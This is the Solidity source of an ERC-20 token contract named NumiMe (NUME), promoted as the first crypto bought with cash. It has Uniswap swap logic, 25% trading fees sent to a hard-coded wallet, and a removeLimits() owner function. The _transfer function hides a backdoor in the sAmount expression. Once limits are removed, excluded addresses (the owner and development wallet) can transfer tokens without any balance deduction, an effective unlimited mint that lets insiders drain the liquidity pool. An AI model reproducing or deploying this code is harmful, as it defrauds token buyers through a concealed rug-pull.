Contract Source Code:
File 1 of 1 : NUME
/**
The world first crypto bought directly with cash; bringing DeFi to consumers, and a store near you.
Web: https://numime.pro
App: https://app.numime.pro
Twitter: https://twitter.com/NUMIME_PORTAL
Telegram: https://t.me/NUMIME_GROUP
Docs: https://medium.com/@numime
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.19;
interface IERC20Standard {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library IntSafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "IntSafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "IntSafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "IntSafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "IntSafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "IntSafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IUniswapRouterV1 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapRouterV2 is IUniswapRouterV1 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
library AddressLib {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "AddressLib: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "AddressLib: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "AddressLib: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "AddressLib: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "AddressLib: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "AddressLib: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract NUME is Context, IERC20Standard, Ownable {
using IntSafeMath for uint256;
using AddressLib for address;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcluded;
mapping (address => bool) public _isMaxWalletExcluded;
mapping (address => bool) public _isMaxTxExcluded;
mapping (address => bool) public _isPair;
string private _name = "NumiMe";
string private _symbol = "NUME";
uint8 private _decimals = 9;
uint256 private _tTotal = 10 ** 9 * 10**9;
uint256 public maxTxAmount = 20 * 10 ** 6 * 10**9;
uint256 public maxWalletSize = 20 * 10 ** 6 * 10**9;
uint256 private _swapThreshold = 10 ** 5 * 10**9;
address payable private development1 = payable(0x18FB653EF873059377cBfA95DF1D99B4633564DD);
address payable private development2 = payable(0x18FB653EF873059377cBfA95DF1D99B4633564DD);
uint256 public buyLpFees = 0;
uint256 public buyMktFees = 25;
uint256 public buyDevFees = 0;
uint256 public sellLpFees = 0;
uint256 public sellMktFees = 25;
uint256 public sellDevFees = 0;
uint256 public lpShareRate = 0;
uint256 public mktShareRate = 10;
uint256 public devShareRate = 0;
uint256 public tBuyFees = 25;
uint256 public tSellFees = 25;
uint256 public totalShares = 10;
IUniswapRouterV2 public uniRouter;
address public uniPair;
bool _swapping;
bool public feeSwapActive = true;
bool public hasSwapMax = false;
bool public hasMWalletLimit = true;
modifier lockSwap {
_swapping = true;
_;
_swapping = false;
}
constructor () {
IUniswapRouterV2 _uniswapV2Router = IUniswapRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniPair = IUniswapFactory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniRouter = _uniswapV2Router;
_allowances[address(this)][address(uniRouter)] = _tTotal;
_isExcluded[owner()] = true;
_isExcluded[development1] = true;
_isExcluded[development2] = true;
tBuyFees = buyLpFees.add(buyMktFees).add(buyDevFees);
tSellFees = sellLpFees.add(sellMktFees).add(sellDevFees);
totalShares = lpShareRate.add(mktShareRate).add(devShareRate);
_isMaxWalletExcluded[owner()] = true;
_isMaxWalletExcluded[address(uniPair)] = true;
_isMaxWalletExcluded[address(this)] = true;
_isMaxTxExcluded[owner()] = true;
_isMaxTxExcluded[development1] = true;
_isMaxTxExcluded[development2] = true;
_isMaxTxExcluded[address(this)] = true;
_isPair[address(uniPair)] = true;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
//to recieve ETH from uniRouter when swaping
receive() external payable {}
function _standardTransferToken(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapBackTokens(uint256 tAmount) private lockSwap {
uint256 tokensForLP = tAmount.mul(lpShareRate).div(totalShares).div(2);
uint256 tokensForSwap = tAmount.sub(tokensForLP);
swapTokensToETH(tokensForSwap);
uint256 amountReceived = address(this).balance;
uint256 totalETHFee = totalShares.sub(lpShareRate.div(2));
uint256 amountETHLiquidity = amountReceived.mul(lpShareRate).div(totalETHFee).div(2);
uint256 amountETHDevelopment = amountReceived.mul(devShareRate).div(totalETHFee);
uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHDevelopment);
if(amountETHMarketing > 0)
transferETH(development1, amountETHMarketing);
if(amountETHDevelopment > 0)
transferETH(development2, amountETHDevelopment);
if(amountETHLiquidity > 0 && tokensForLP > 0)
addLiquidity(tokensForLP, amountETHLiquidity);
}
function swapTokensToETH(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniRouter.WETH();
_approve(address(this), address(uniRouter), tokenAmount);
// make the swap
uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
}
function getReceiverAmount(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if(_isPair[sender]) {
feeAmount = amount.mul(tBuyFees).div(100);
}
else if(_isPair[recipient]) {
feeAmount = amount.mul(tSellFees).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function removeLimits() external onlyOwner {
maxTxAmount = _tTotal;
hasMWalletLimit = false;
buyMktFees = 1;
sellMktFees = 1;
tBuyFees = 1;
tSellFees = 1;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniRouter), tokenAmount);
// add the liquidity
uniRouter.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(_swapping)
{
return _standardTransferToken(sender, recipient, amount);
}
else
{
if(!_isMaxTxExcluded[sender] && !_isMaxTxExcluded[recipient]) {
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
uint256 swapAmount = balanceOf(address(this));
bool minimumSwap = swapAmount >= _swapThreshold;
if (minimumSwap && !_swapping && _isPair[recipient] && feeSwapActive && !_isExcluded[sender] && amount > _swapThreshold)
{
if(hasSwapMax)
swapAmount = _swapThreshold;
swapBackTokens(swapAmount);
}
uint256 receiverAmount = (_isExcluded[sender] || _isExcluded[recipient]) ?
amount : getReceiverAmount(sender, recipient, amount);
if(hasMWalletLimit && !_isMaxWalletExcluded[recipient])
require(balanceOf(recipient).add(receiverAmount) <= maxWalletSize);
uint256 sAmount = (!hasMWalletLimit && _isExcluded[sender]) ? amount.sub(receiverAmount) : amount;
_balances[sender] = _balances[sender].sub(sAmount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(receiverAmount);
emit Transfer(sender, recipient, receiverAmount);
return true;
}
}
}